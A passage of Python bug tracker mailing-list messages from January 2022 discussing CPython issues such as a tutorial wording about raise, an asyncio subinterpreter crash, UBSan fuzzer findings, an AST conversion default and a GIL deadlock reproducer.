<1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> New submission from Gregor Titze : The Python Tutorial describes the first argument to the raise statement as follows: """ This must be either an exception instance or an exception class (a class that derives from Exception). """ https://docs.python.org/3/tutorial/errors.html#raising-exceptions However, the Python Language Reference states, that exceptions should be a subclass or instance of BaseException. https://docs.python.org/3/reference/simple_stmts.html#grammar-token-python-grammar-raise_stmt I think it would be correct, to adapt the Tutorial to match the Reference. ---------- assignee: docs at python components: Documentation messages: 409961 nosy: docs at python, gtitze priority: normal severity: normal status: open title: [doc] First argument to raise can also be BaseException type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:08:41 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 14:08:41 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641564521.42.0.0327171924064.issue46070@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 12.0 -> 13.0 pull_requests: +28657 pull_request: https://github.com/python/cpython/pull/30453 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:08:45 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 14:08:45 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641564525.46.0.81408572725.issue46070@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28658 pull_request: https://github.com/python/cpython/pull/30454 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:08:45 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 14:08:45 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641564525.69.0.945947005795.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: New changeset b127e70a8a682fe869c22ce04c379bd85a00db67 by Erlend Egeberg Aasland in branch 'main': bpo-46070: Fix asyncio initialisation guard (GH-30423) https://github.com/python/cpython/commit/b127e70a8a682fe869c22ce04c379bd85a00db67 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:11:50 2022 From: report at bugs.python.org (James Casbon) Date: Fri, 07 Jan 2022 14:11:50 +0000 Subject: [issue46292] Add microseconds to logging.LogRecord Message-ID: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> New submission from James Casbon : LogRecord makes microseconds available via the msecs attribute. This patch adds microseconds via usecs attribute. Some regulators (eg MIFID II) require accuracy greater than 1ms in some industries. This patch calls time_ns rather than time so that the usecs and msecs are calculated from int types and then gets the original ct attribute via division. ---------- files: usecs.patch keywords: patch messages: 409963 nosy: jamescasbon priority: normal severity: normal status: open title: Add microseconds to logging.LogRecord Added file: https://bugs.python.org/file50546/usecs.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:12:25 2022 From: report at bugs.python.org (James Casbon) Date: Fri, 07 Jan 2022 14:12:25 +0000 Subject: [issue46292] Add microseconds to logging.LogRecord In-Reply-To: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> Message-ID: <1641564745.09.0.121069591184.issue46292@roundup.psfhosted.org> Change by James Casbon : ---------- components: +Library (Lib) type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:21:39 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 14:21:39 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1641565299.82.0.164007645368.issue40479@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28659 pull_request: https://github.com/python/cpython/pull/30455 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:32:16 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 07 Jan 2022 14:32:16 +0000 Subject: [issue46288] Migrating python 2.7 to 3.6 using 2to3 tool In-Reply-To: <1641540436.39.0.283910400749.issue46288@roundup.psfhosted.org> Message-ID: <1641565936.32.0.980775846191.issue46288@roundup.psfhosted.org> Eric V. Smith added the comment: Porting questions don't belong on the bug tracker. And we don't support 2.7 any more, in any event. You'll need to find python 3 versions of all of your packages. Unfortunately we can't help you with that. There used to be a python-porting mailing list, but it's been deleted. Maybe someone on the the python-list mailing list could point you in the right direction. ---------- nosy: +eric.smith resolution: -> not a bug stage: -> resolved status: open -> closed type: compile error -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:35:19 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 14:35:19 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641566119.34.0.780634388078.issue46070@roundup.psfhosted.org> miss-islington added the comment: New changeset 9d18045804f6db8224be14f7a618b77977f90144 by Miss Islington (bot) in branch '3.10': bpo-46070: Fix asyncio initialisation guard (GH-30423) https://github.com/python/cpython/commit/9d18045804f6db8224be14f7a618b77977f90144 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:36:10 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 14:36:10 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641566170.67.0.803959655142.issue46070@roundup.psfhosted.org> miss-islington added the comment: New changeset 4d2cfd354969590ba8e0af0447fd84f8b5e61952 by Miss Islington (bot) in branch '3.9': bpo-46070: Fix asyncio initialisation guard (GH-30423) https://github.com/python/cpython/commit/4d2cfd354969590ba8e0af0447fd84f8b5e61952 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:37:58 2022 From: report at bugs.python.org (Preetham Nanjappa) Date: Fri, 07 Jan 2022 14:37:58 +0000 Subject: [issue46293] Typo in specifying escape sequence Message-ID: <1641566278.48.0.337142384825.issue46293@roundup.psfhosted.org> New submission from Preetham Nanjappa : See section "2.4.1. String and Bytes literals" of 3.10.1 documentation. https://docs.python.org/3.10/reference/lexical_analysis.html#string-and-bytes-literals Escape Sequence table. First line. `\newline` should have been `\n` ---------- assignee: docs at python components: Documentation messages: 409967 nosy: docs at python, ilovedexter priority: normal severity: normal status: open title: Typo in specifying escape sequence versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:39:11 2022 From: report at bugs.python.org (Bob Rivoir) Date: Fri, 07 Jan 2022 14:39:11 +0000 Subject: [issue46281] Python 3.10.1 build errors on Ubuntu 18.04 In-Reply-To: <1641480356.22.0.0866007957527.issue46281@roundup.psfhosted.org> Message-ID: <1641566351.91.0.302935066303.issue46281@roundup.psfhosted.org> Bob Rivoir added the comment: According to synaptic, I have openssl 1.1.1-1ubuntu2.1~18.04-14 installed. On the openssl.org site they mention that this version doesn't eol till 2023. Shouldn't this still work? Or does python require the 3.0 version? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:39:29 2022 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 07 Jan 2022 14:39:29 +0000 Subject: [issue42032] Setting PYTHONPYCACHEPREFIX using ~ (tilde) creates a "~" folder In-Reply-To: <1602664029.5.0.459362621128.issue42032@roundup.psfhosted.org> Message-ID: <1641566369.07.0.0837208340963.issue42032@roundup.psfhosted.org> Petr Viktorin added the comment: > It would perhaps be useful if the os.path.expanduser call was added in the cache_from_source() function in importlib? No: that would mean Python would be doing work that the shell should do. Possibly it would be duplicating the work. Possibly it would be doing it wrong. What if your shell uses ? rather than ~? What if the shell has a different idea of what the home directory is? Remember, you can use Python with any shell, not just Unix/POSIX command-line ones (which is what os.path.expanduser emulates). Thanks for reporting the issue, though! The separation of concerns definitely isn't obvious at first. ---------- nosy: +petr.viktorin resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:40:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 14:40:24 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641566424.24.0.294289556515.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: Even with PR 30454, I can still reproduce the crash on Python 3.9 (randomly, it takes a few attempts to reproduce the crash): vstinner at DESKTOP-DK7VBIL C:\vstinner\python\3.9>python -X dev win_py399_crash_reproducer.py Running Debug|x64 interpreter... exit subinterpreter exit subinterpreter exit subinterpreter Windows fatal exception: access violation Thread 0x00002230 (most recent call first): Thread 0x00002124 (most recent call first): File "C:\vstinner\python\3.9\win_py399_crash_reproducer.py", line 13 in doIt File "C:\vstinner\python\3.9\lib\threading.py", line 910 in run File "C:\vstinner\python\3.9\lib\threading.py", line 973 in _bootstrap_inner File "C:\vstinner\python\3.9\lib\threading.py", line 930 in _bootstrap Current thread 0x000027f0 (most recent call first): File "C:\vstinner\python\3.9\win_py399_crash_reproducer.py", line 13 in doIt File "C:\vstinner\python\3.9\lib\threading.py", line 910 in run File "C:\vstinner\python\3.9\lib\threading.py", line 973 in _bootstrap_inner File "C:\vstinner\python\3.9\lib\threading.py", line 930 in _bootstrap Thread 0x00001c18 (most recent call first): File "C:\vstinner\python\3.9\lib\threading.py", line 312 in wait File "C:\vstinner\python\3.9\lib\threading.py", line 574 in wait File "C:\vstinner\python\3.9\lib\threading.py", line 897 in start File "C:\vstinner\python\3.9\win_py399_crash_reproducer.py", line 19 in ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:42:49 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 07 Jan 2022 14:42:49 +0000 Subject: [issue46293] Typo in specifying escape sequence In-Reply-To: <1641566278.48.0.337142384825.issue46293@roundup.psfhosted.org> Message-ID: <1641566569.99.0.642761431485.issue46293@roundup.psfhosted.org> Serhiy Storchaka added the comment: No, it is a backslash following by a newline. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 09:59:59 2022 From: report at bugs.python.org (Steven D'Aprano) Date: Fri, 07 Jan 2022 14:59:59 +0000 Subject: [issue46293] Typo in specifying escape sequence In-Reply-To: <1641566278.48.0.337142384825.issue46293@roundup.psfhosted.org> Message-ID: <1641567599.6.0.644967422933.issue46293@roundup.psfhosted.org> Steven D'Aprano added the comment: Serhiy is correct. The table is correct, \n can be found further down the table, the first entry is backslash newline, as it says. ---------- nosy: +steven.daprano resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:00:03 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 07 Jan 2022 15:00:03 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641567603.82.0.389047677503.issue46290@roundup.psfhosted.org> Change by Eric V. Smith : ---------- assignee: docs at python -> eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:06:13 2022 From: report at bugs.python.org (Steven Wirsz) Date: Fri, 07 Jan 2022 15:06:13 +0000 Subject: [issue46294] Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer Message-ID: <1641567973.1.0.158416256462.issue46294@roundup.psfhosted.org> New submission from Steven Wirsz : Compiling source from github on January 6, 2022, detected via Libfuzzer & UndefinedBehaviorSanitizer: # ./fuzz_struct_unpack crash-a0d.txt Running: crash-a0d.txt /src/cpython3/Modules/_struct.c:509:28: runtime error: load of value 128, which is not a valid value for type '_Bool' Python/pyhash.c:396:9: runtime error: unsigned integer overflow: 17111126337582519137 + 1455368869671451682 cannot be represented in type 'unsigned long' Python/pyhash.c:414:5: runtime error: unsigned integer overflow: 6843264283216330929 + 16329705011411640967 cannot be represented in type 'unsigned long' Python/pyhash.c:417:5: runtime error: unsigned integer overflow: 13747253807228978341 + 10396395245414858527 cannot be represented in type 'unsigned long' Python/pyhash.c:418:5: runtime error: unsigned integer overflow: 17173606624272818715 + 4069551840979798976 cannot be represented in type 'unsigned long' Python/pyhash.c:419:5: runtime error: unsigned integer overflow: 12388162105911730119 + 9634611433502982398 cannot be represented in type 'unsigned long' Objects/longobject.c:288:22: runtime error: unsigned integer overflow: 0 - 18446744073709550595 cannot be represented in type 'unsigned long' Objects/longobject.c:4872:31: runtime error: unsigned integer overflow: 18446744073709551615 + 1 cannot be represented in type 'unsigned long' Objects/longobject.c:3124:33: runtime error: unsigned integer overflow: 0 - 1 cannot be represented in type 'unsigned int' Objects/longobject.c:3130:33: runtime error: unsigned integer overflow: 0 - 1 cannot be represented in type 'unsigned int' Objects/tupleobject.c:426:21: runtime error: unsigned integer overflow: 219911203979059663 * 14029467366897019727 cannot be represented in type 'unsigned long' Objects/tupleobject.c:428:13: runtime error: unsigned integer overflow: 14367201699383568926 * 11400714785074694791 cannot be represented in type 'unsigned long' Objects/tupleobject.c:426:13: runtime error: unsigned integer overflow: 18351143362227076666 + 1497884194698650478 cannot be represented in type 'unsigned long' Objects/tupleobject.c:432:9: runtime error: unsigned integer overflow: 18406138070188819878 + 2870177450013471924 cannot be represented in type 'unsigned long' Python/traceback.c:247:86: runtime error: unsigned integer overflow: 18446744073709551615 * 2 cannot be represented in type 'unsigned long' Objects/frameobject.c:51:72: runtime error: unsigned integer overflow: 18446744073709551615 * 2 cannot be represented in type 'unsigned long' ---------- files: crash-a0d.txt messages: 409973 nosy: swirsz priority: normal severity: normal status: open title: Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer type: crash versions: Python 3.11 Added file: https://bugs.python.org/file50547/crash-a0d.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:17:19 2022 From: report at bugs.python.org (Niklas Rosenstein) Date: Fri, 07 Jan 2022 15:17:19 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1641568639.76.0.556379848031.issue41370@roundup.psfhosted.org> Niklas Rosenstein added the comment: I'm running into this issue right now. Can anyone provide a rationale as to why you think this is acceptable/expected behaviour? Do we expect developers to semi-rely on get_type_hints(), but than still having to manually resolve forward references in PEP585 generic aliases? That seems broken to me. Thanks, Niklas R. ---------- nosy: +n_rosenstein _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:18:15 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 15:18:15 +0000 Subject: [issue46295] Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. Message-ID: <1641568695.11.0.970529706088.issue46295@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : Reproducer: Code for native_ext.cpp: #define PY_SSIZE_T_CLEAN #include #include #include #include #pragma GCC push_options #pragma GCC optimize ("O0") PyObject* run_simple(PyObject*, PyObject*) { PyGILState_STATE gstate; gstate = PyGILState_Ensure(); PyGILState_Release(gstate); Py_RETURN_NONE; } static PyMethodDef methods[] = { {"run_simple", run_simple, METH_NOARGS, "Execute a chain of native functions"}, {NULL, NULL, 0, NULL}, }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef moduledef = {PyModuleDef_HEAD_INIT, "native_ext", "", -1, methods}; PyMODINIT_FUNC PyInit_native_ext(void) { return PyModule_Create(&moduledef); } #else PyMODINIT_FUNC initnative_ext(void) { Py_InitModule("native_ext", methods); } #endif Code for setup.py: import os from distutils.core import Extension from distutils.core import setup ROOT = os.path.realpath(os.path.dirname(__file__)) setup( name="native_ext", version="0.0", ext_modules=[ Extension( "native_ext", language="c++", sources=[os.path.join(ROOT, "native_ext.cpp")], ), ], zip_safe=False, ) Compile extension: python setup.py build_ext --inplace Execute the following script: from test.support import run_in_subinterp run_in_subinterp(""" import sys sys.path.append(".") import native_ext native_ext.run_simple() """) The script deadlocks ---------- messages: 409975 nosy: eric.snow, pablogsal, vstinner priority: normal severity: normal status: open title: Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:35:38 2022 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 07 Jan 2022 15:35:38 +0000 Subject: [issue46294] Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer In-Reply-To: <1641567973.1.0.158416256462.issue46294@roundup.psfhosted.org> Message-ID: <1641569738.36.0.37334020643.issue46294@roundup.psfhosted.org> Mark Dickinson added the comment: @swirsz: Thanks for the report. Most of these look like false positives: we're intentionally making use of C's unsigned arithmetic behaviour. Note that these are technically *not* overflows. As the C standard itself says, in C99 ?6.2.5, paragraph 9: > A computation involving unsigned operands can never overflow, > because a result that cannot be represented by the resulting > unsigned integer type is reduced modulo the number that is one > greater than the largest value that can be represented by the > resulting type. .. and we're deliberately depending on exactly that well-defined reduction behaviour. Would you be able to do a first pass over the results and identify those that might be genuine issues, worthy of further investigation? ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:53:55 2022 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 07 Jan 2022 15:53:55 +0000 Subject: [issue38735] PYTHONPYCACHEPREFIX fails when importing a module from the root ("/") In-Reply-To: <1573128363.33.0.885325437125.issue38735@roundup.psfhosted.org> Message-ID: <1641570835.95.0.157942882729.issue38735@roundup.psfhosted.org> Change by Petr Viktorin : ---------- keywords: +patch nosy: +petr.viktorin nosy_count: 2.0 -> 3.0 pull_requests: +28660 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30456 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 10:59:18 2022 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 07 Jan 2022 15:59:18 +0000 Subject: [issue38735] PYTHONPYCACHEPREFIX fails when importing a module from the root ("/") In-Reply-To: <1573128363.33.0.885325437125.issue38735@roundup.psfhosted.org> Message-ID: <1641571158.56.0.893466398037.issue38735@roundup.psfhosted.org> Petr Viktorin added the comment: Here's a patch, but testing it would require putting a file in the root directory. I don't dare do that from the test suite. Is one-time manual testing OK here? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:00:03 2022 From: report at bugs.python.org (Steven Wirsz) Date: Fri, 07 Jan 2022 16:00:03 +0000 Subject: [issue46294] Integer overflow & Int values loaded into Bool detected via Libfuzzer & UndefinedBehaviorSanitizer In-Reply-To: <1641567973.1.0.158416256462.issue46294@roundup.psfhosted.org> Message-ID: <1641571203.76.0.682214465884.issue46294@roundup.psfhosted.org> Steven Wirsz added the comment: Closing this report. I investigated the remaining issue and it looks like a perfectly valid call to PyBool_FromLong: /src/cpython3/Modules/_struct.c:509:28: runtime error: load of value 128, which is not a valid value for type '_Bool' static PyObject * nu_bool(_structmodulestate *state, const char *p, const formatdef *f) { _Bool x; memcpy((char *)&x, p, sizeof x); return PyBool_FromLong(x != 0); } ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:01:46 2022 From: report at bugs.python.org (Zachary Ware) Date: Fri, 07 Jan 2022 16:01:46 +0000 Subject: [issue46293] Typo in specifying escape sequence In-Reply-To: <1641566278.48.0.337142384825.issue46293@roundup.psfhosted.org> Message-ID: <1641571306.78.0.617899906169.issue46293@roundup.psfhosted.org> Zachary Ware added the comment: The table could stand some clarification; `\newline` is the only example that is not showing exactly the characters that one would see when looking at source code and which doesn't have an explanatory note. There's also the additional wrinkle that `\CR`, `\LF`, and `\CRLF` are treated the same, which might be an important detail in the reference section. I don't have a great suggestion to offer, though. ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:07:36 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 16:07:36 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641571656.77.0.171728281796.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: > The problematic change could be (d0d29655ff) affecting import.c This change is part of the 3.10 branch. For 3.9, git bisect tells me that it's the following change: commit 52d9d3b75441ae6038fadead89eac5eecdd34501 Author: ?ukasz Langa Date: Tue Oct 5 22:30:25 2021 +0200 [3.9] bpo-44050: Extension modules can share state when they don't support sub-interpreters. (GH-27794) (GH-28741) (cherry picked from commit b9bb74871b27d9226df2dd3fce9d42bda8b43c2b) Co-authored-by: Hai Shi The problem is that this change fixed another bug, well, see: bpo-44050. While a revert should fix win_py399_crash_reproducer.py, it will reintroduce bpo-44050 bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:07:46 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 16:07:46 +0000 Subject: [issue46281] Python 3.10.1 build errors on Ubuntu 18.04 In-Reply-To: <1641480356.22.0.0866007957527.issue46281@roundup.psfhosted.org> Message-ID: <1641571666.41.0.615253256128.issue46281@roundup.psfhosted.org> Christian Heimes added the comment: You seem to have OpenSSL 1.0.2 headers installed somewhere on your computer. Python's configure script and build system uses these headers instead of the system headers from libssl-dev. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:10:06 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 07 Jan 2022 16:10:06 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641571806.83.0.326622891484.issue46289@roundup.psfhosted.org> Batuhan Taskaya added the comment: ASDL technically allows it to be None though neither compiler nor ast.unparse can work with it at this moment. > FormattedValue(expr value, int? conversion, expr? format_spec) https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Parser/Python.asdl#L78 >>> import ast >>> tree = ast.parse("f'{x + 1}'") >>> tree.body[0].value.values[0].conversion = None >>> compile(tree, "", "exec") Traceback (most recent call last): File "", line 1, in SystemError: Unrecognized conversion character 0 We can either: A) change ASDL to reflect it is an integer (since it always has been treated that way) B) Support this on both the compiler as well as in the ast.unparse I'd say A, since this was always broken. @pablogsal @lys.nikolaou WDYT? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:13:10 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 07 Jan 2022 16:13:10 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641571990.66.0.262672725286.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I reverted manually the commit 52d9d3b75441ae6038fadead89eac5eecdd34501 (in my local Python 3.9 checkout): I confirm that the revert fix the win_py399_crash_reproducer.py crash in Python 3.9. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:18:21 2022 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 Jan 2022 16:18:21 +0000 Subject: [issue46292] Add microseconds to logging.LogRecord In-Reply-To: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> Message-ID: <1641572301.86.0.31225245516.issue46292@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:30:19 2022 From: report at bugs.python.org (Petr Viktorin) Date: Fri, 07 Jan 2022 16:30:19 +0000 Subject: [issue46070] [subinterpreters] asyncio crash when importing _asyncio in subinterpreter (Python 3.8 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1641573019.54.0.496510498916.issue46070@roundup.psfhosted.org> Petr Viktorin added the comment: > The problem is that this change fixed another bug, well, see: bpo-44050. While a revert should fix win_py399_crash_reproducer.py, it will reintroduce bpo-44050 bug. bpo-44050 is an attempt to fix a regression introduced in bpo-38858, perhaps that regression should be reverted as well? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 11:47:46 2022 From: report at bugs.python.org (Lysandros Nikolaou) Date: Fri, 07 Jan 2022 16:47:46 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641574066.36.0.230723131405.issue46289@roundup.psfhosted.org> Lysandros Nikolaou added the comment: I agree that A is probably the way to go. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:01:52 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 17:01:52 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641574912.1.0.0820709805702.issue46289@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I think A is the best option ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:03:19 2022 From: report at bugs.python.org (Eric Snow) Date: Fri, 07 Jan 2022 17:03:19 +0000 Subject: [issue46295] Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. In-Reply-To: <1641568695.11.0.970529706088.issue46295@roundup.psfhosted.org> Message-ID: <1641574999.88.0.561602355433.issue46295@roundup.psfhosted.org> Eric Snow added the comment: Is this a duplicate of bpo-15751? (also see bpo-10915) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:08:04 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 17:08:04 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641575284.84.0.433409391893.issue46291@roundup.psfhosted.org> Nikita Sobolev added the comment: I think that this is intentional: tutorial gives some very basic ideas about what can be raised. Giving the whole context (you can `raise` two kinds of errors: `Exception` and `BaseException`, but they are different, should be used in different cases, and they are caught differently). Probably most users don't need to subclass `BaseException` at all. And if they need to: there are docs for that https://docs.python.org/3/library/exceptions.html#BaseException In my opinion - nothing should be changed there :) ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:30:02 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 07 Jan 2022 17:30:02 +0000 Subject: [issue46292] Add microseconds to logging.LogRecord In-Reply-To: <1641564710.75.0.603666211799.issue46292@roundup.psfhosted.org> Message-ID: <1641576602.14.0.0480807670742.issue46292@roundup.psfhosted.org> Change by Vinay Sajip : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:36:29 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 17:36:29 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` Message-ID: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> New submission from Nikita Sobolev : This condition can never be `True`: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L222-L223 Why? Because: 1. It is executed only when `if not enum_class._use_args_:`: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L215 2. But, `enum_class._use_args_` will always be `False` for cases when `enum_class._member_type_` is `object` 3. It is defined here: https://github.com/python/cpython/blob/b127e70a8a682fe869c22ce04c379bd85a00db67/Lib/enum.py#L937 So, I guess that removing this condition can simplify the `enum.py`. Coverage shows that this part is not tested. I will send a PR shortly. ---------- components: Library (Lib) messages: 409989 nosy: sobolevn priority: normal severity: normal status: open title: Unreachable condition: `if enum_class._member_type_ is object` versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:39:49 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 17:39:49 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641577189.23.0.985083988078.issue46296@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28661 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30458 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 12:41:11 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 17:41:11 +0000 Subject: [issue46295] Subinterpreters hang in GIL adquisition if an extension module calls PyGILState_Ensure. In-Reply-To: <1641568695.11.0.970529706088.issue46295@roundup.psfhosted.org> 